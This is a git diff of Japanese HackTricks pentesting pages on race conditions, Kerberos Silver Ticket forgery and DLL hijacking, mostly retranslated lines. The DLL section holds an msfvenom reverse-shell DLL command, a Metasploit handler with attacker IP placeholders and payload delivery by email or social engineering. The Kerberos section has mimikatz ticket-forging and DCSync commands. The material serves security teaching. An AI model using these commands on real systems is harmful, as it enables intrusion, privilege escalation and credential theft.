ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
ほとんどのエンドポイントは、ユーザー名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **手がかりを探る**
|
||||
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化や、異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化、または異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
|
||||
3. **コンセプトを証明する**
|
||||
|
||||
最後のステップは、**コンセプトを証明し、攻撃可能な攻撃に変える**ことです。
|
||||
|
||||
一括のリクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングがより重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
一括のリクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃はタイミングに敏感になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
|
||||
### タイムセンシティブ攻撃
|
||||
|
||||
場合によっては、競合状態を見つけることができないかもしれませんが、**正確なタイミングでリクエストを送信するための技術**は、他の脆弱性の存在を明らかにすることができます。
|
||||
|
||||
その一例として、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される場合**があります。
|
||||
その一例として、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される**場合があります。
|
||||
|
||||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることで、**2つの異なるユーザーのために2つのパスワードリセットをトリガー**することができるかもしれません。
|
||||
|
||||
|
@ -265,15 +267,18 @@ asyncio.run(main())
|
|||
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**し、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
|
||||
### 2つのメールアドレスにCookieを使用してメールアドレスを変更
|
||||
### 2つのメールアドレスに電子メールを変更する(Cookieベース)
|
||||
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールの電子メール確認トークンを他のメールに送信**する可能性があるからです。
|
||||
|
||||
これについては、[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)もチェックしてください。
|
||||
|
||||
### 隠れたデータベースの状態/確認バイパス
|
||||
|
||||
**2つの異なる書き込み**が**データベース**内に**情報を追加**する場合、最初のデータがデータベースに
|
||||
**2つの異なる書き込み**が使用されて**データベース**に**情報を追加**する場合、最初のデータがデータベースに書き込まれた後、**2番目のデータ
|
||||
### 2FAのバイパス
|
||||
|
||||
以下の疑似コードは、ウェブサイトがこの攻撃のレースバリエーションに対して脆弱である可能性を示しています。
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -296,9 +301,9 @@ session['enforce_mfa'] = True
|
|||
|
||||
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルした場合でも、**複数のRTは有効のまま**です。
|
||||
|
||||
## **WebSocketsにおけるRC**
|
||||
## WebSocketsにおける競合状態
|
||||
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)では、**Web Socketsでも競合状態を悪用するために**、**並列**にWebSocketメッセージを送信するためのJavaのPoCを見つけることができます。
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)では、JavaでWebソケットメッセージを**並列**に送信して、**Webソケットでも競合状態を悪用**するPoCを見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -312,18 +317,18 @@ session['enforce_mfa'] = True
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricksのリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudのリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -22,9 +22,9 @@
|
|||
|
||||
シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、**そのサービスにアクセス**することができます。
|
||||
|
||||
この場合、**コンピューターアカウントのNTLMハッシュ**(AD内のユーザーアカウントの一種)が**所有**されています。したがって、SMBサービスを介して**管理者**特権でそのマシンに**入るためのチケット**を作成することが可能です。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
この場合、Active Directory(AD)の中でユーザーアカウントのようなものである**コンピューターアカウントのNTLMハッシュ**が**所有**されています。したがって、SMBサービスを介して**管理者権限を持つ**マシンに**入るためのチケット**を**作成**することができます。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**好ましい**(opsec)です。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**推奨されます(opsec)**。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -51,7 +51,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**CIFS**サービスは、被害者のファイルシステムにアクセスすることができます。他のサービスはこちらで見つけることができます:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** 例えば、**HOSTサービス**を使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして動作しているか確認することができます:`schtasks /S <hostname>`または**HOSTおよびRPCSSサービス**を使用してコンピューターで**WMI**クエリを実行することもできます。テストするには:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
**CIFS**サービスは、被害者のファイルシステムにアクセスすることができるものです。他のサービスはこちらで見つけることができます:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** 例えば、**HOSTサービス**を使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして動作しているか確認することができます:`schtasks /S <hostname>`または**HOSTとRPCSSサービス**を使用してコンピューターで**WMI**クエリを実行することもできます。テストするには:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
|
||||
### 緩和策
|
||||
|
||||
|
@ -61,11 +61,11 @@ SilverチケットイベントID(ゴールデンチケットよりもステル
|
|||
* 4634:アカウントログオフ
|
||||
* 4672:管理者ログオン
|
||||
|
||||
[**Silver Ticketsに関する詳細情報は、ired.teamを参照してください**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
[**ired.teamのSilver Ticketsに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
|
||||
## 利用可能なサービス
|
||||
|
||||
| サービスの種類 | サービスのSilverチケット |
|
||||
| サービスタイプ | サービスシルバーチケット |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShellリモート操作 | <p>HOST</p><p>HTTP</p><p>OSによっては、次のものもあります:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -168,10 +168,10 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、そして**解読不可能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -22,18 +22,18 @@
|
|||
|
||||
まず、定義を確認しましょう。DLLハイジャッキングは、最も広義には、**正規/信頼されたアプリケーションを誤って/トリックして任意のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
|
||||
|
||||
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用できます。この3つのうち、**特権のエスカレーション**は非常に見つけにくいです。ただし、これは特権エスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
|
||||
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用できます。この3つのうち、**特権のエスカレーション**は非常に見つけにくいです。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
|
||||
|
||||
### タイプ
|
||||
|
||||
アプリケーションが必要なDLLをロードする方法に応じて、さまざまなアプローチがあります。成功は、アプリケーションがDLLをロードする方法によって異なります。可能なアプローチには次のものがあります。
|
||||
|
||||
1. **DLLの置き換え**: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、_DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)]と組み合わせることができます。
|
||||
2. **DLL検索順序のハイジャック**: パスのないアプリケーションが指定したDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
|
||||
2. **DLL検索順序のハイジャック**: パスのないアプリケーションによって指定されたDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
|
||||
3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLLリダイレクト**: DLLの検索場所を変更します。たとえば、`%PATH%`環境変数を編集するか、`.exe.manifest` / `.exe.local`ファイルを編集して、悪意のあるDLLを含むフォルダを追加します \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLLの置き換え**: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に持ち込まれます(被害者のマシンの正規の場所からコピーされるのではなく)。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名済みの)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に呼ばれる)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]で、正規のアプリケーションが悪意のあるDLLと一緒に提供されます(被害者のマシンの正規の場所からコピーされるのではなく)。
|
||||
|
||||
## 欠落しているDllを見つける
|
||||
|
||||
|
@ -57,20 +57,20 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
|
||||
一般的に、**Windowsアプリケーション**は、DLLを見つけるために**事前に定義された検索パス**を使用し、特定の順序でこれらのパスをチェックします。 DLLのハイジャックは、通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。
|
||||
|
||||
以下は、32ビットシステムでのDLLの検索順序です。
|
||||
以下は、32ビットシステムの**DLL検索順序**です:
|
||||
|
||||
1. アプリケーションがロードされたディレクトリ。
|
||||
2. システムディレクトリ。このディレクトリのパスを取得するには、[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)関数を使用します。(_C:\Windows\System32_)
|
||||
3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(_C:\Windows\System_)
|
||||
4. Windowsディレクトリ。このディレクトリのパスを取得するには、[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)関数を使用します。(_C:\Windows_)
|
||||
5. 現在のディレクトリ。
|
||||
6. PATH環境変数にリストされているディレクトリ。ただし、これには**App Paths**レジストリキーで指定されたアプリケーションごとのパスは含まれません。**App Paths**キーは、DLLの検索パスの計算時には使用されません。
|
||||
6. PATH環境変数にリストされているディレクトリ。ただし、これには**App Paths**レジストリキーで指定されたアプリケーションごとのパスは含まれません。**App Paths**キーは、DLLの検索パスを計算する際には使用されません。
|
||||
|
||||
これが**デフォルト**の検索順序で、**SafeDllSearchMode**が有効になっています。無効にするには、**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**レジストリ値を作成し、0に設定します(デフォルトは有効です)。
|
||||
これが**デフォルト**の検索順序で、**SafeDllSearchMode**が有効になっています。無効にするには、**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**レジストリ値を作成し、0に設定します(デフォルトは有効)。
|
||||
|
||||
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)関数が**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**で呼び出される場合、検索は**LoadLibraryEx**がロードしている実行可能モジュールのディレクトリから開始されます。
|
||||
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードすることもできます**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードされることもあります**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
|
||||
検索順序を変更する他の方法もありますが、ここでは説明しません。
|
||||
|
||||
|
@ -84,12 +84,13 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
|
||||
**前提条件**:
|
||||
|
||||
* 特権のあるプロセスを見つける(水平/横方向の移動)ことができる**別の特権で実行されるプロセス**を見つける。
|
||||
* dllが**存在しない**フォルダ(おそらく実行可能ファイルのディレクトリまたはシステムパス内のフォルダ)に書き込むための**書き込み権限**を持つ。
|
||||
* **他の特権で実行されるプロセス**(水平/横方向の移動)を見つける(実行される)。
|
||||
* **dllが不足している**フォルダに**書き込み権限**を持つ(おそらく実行可能なディレクトリまたはシステムパス内のフォルダ)。
|
||||
|
||||
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllがない**状態になることは奇妙であり、**システムパスのフォルダに書き込み権限を持つ**ことはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
|
||||
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllが不足しているのは奇妙**であり、**システムパスのフォルダに書き込み権限を持つのはさらに奇妙**です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。\
|
||||
もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
|
||||
|
||||
なお、フォルダの権限を確認するには、次のコマンドを実行します:
|
||||
フォルダの**アクセス権限を確認する**には、次のコマンドを実行します:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
|
@ -124,30 +125,30 @@ dumpbin /export /path/file.dll
|
|||
### 例
|
||||
|
||||
攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、**実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成する**ことです。ただし、Dllハイジャッキングは、[中間完全性レベルから高いレベルにエスカレートするために(UACをバイパスするために)](../authentication-credentials-uac-and-efs.md#uac)または[高い完全性からSYSTEMにエスカレートするために](./#from-high-integrity-to-system)**便利です。** Windowsでdllハイジャッキングを実行するためのこのdllハイジャッキングの研究には、有効なdllを作成する方法の例があります:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
さらに、**次のセクション**では、**テンプレートとして役立つ基本的なdllコード**または**必要ない関数がエクスポートされたdllを作成する**ために役立ついくつかのコードを見つけることができます。
|
||||
さらに、**次のセクション**では、**テンプレート**として役立つ可能性のあるいくつかの**基本的なdllコード**を見つけることができます。
|
||||
|
||||
## **Dllの作成とコンパイル**
|
||||
|
||||
### **Dllプロキシ化**
|
||||
|
||||
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継して**、**期待どおりに公開**および**動作**することができます。
|
||||
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継**することで、**期待どおりに公開**および**動作**することができます。
|
||||
|
||||
ツール\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*または\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*を使用すると、実際のライブラリを指定して実行可能ファイルを選択し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**rev shellを取得(x64):**
|
||||
**Revシェルを取得(x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**メータープリターの取得(x86):**
|
||||
|
||||
```plaintext
|
||||
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをデプロイします。
|
||||
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをインストールします。
|
||||
|
||||
2. Metasploitコンソールを開き、以下のコマンドを実行します。
|
||||
|
||||
```shell
|
||||
```bash
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set LHOST <attacker IP>
|
||||
|
@ -157,11 +158,15 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
|||
|
||||
`<attacker IP>`と`<attacker port>`を攻撃者のIPアドレスとポートに置き換えてください。
|
||||
|
||||
3. ターゲットマシンで、メータープリターを実行するために誘導する方法が必要です。DLLハイジャック攻撃を使用して、ターゲットマシン上のアプリケーションが攻撃者が用意したDLLを読み込むようにします。
|
||||
3. ターゲットマシンで、メータープリターを実行するために誘導する方法を選択します。以下のいずれかの方法を使用できます。
|
||||
|
||||
4. ターゲットマシン上の脆弱なアプリケーションを特定し、攻撃者が用意したDLLを読み込むように設定します。
|
||||
- メールの添付ファイル
|
||||
- 悪意のあるWebサイト
|
||||
- ソーシャルエンジニアリングの手法
|
||||
|
||||
5. メータープリターが成功裏に取得されると、攻撃者はターゲットマシン上で権限昇格や他の攻撃を実行することができます。
|
||||
4. ターゲットマシンで、メータープリターが実行されると、攻撃者のマシンにセッションが開始されます。
|
||||
|
||||
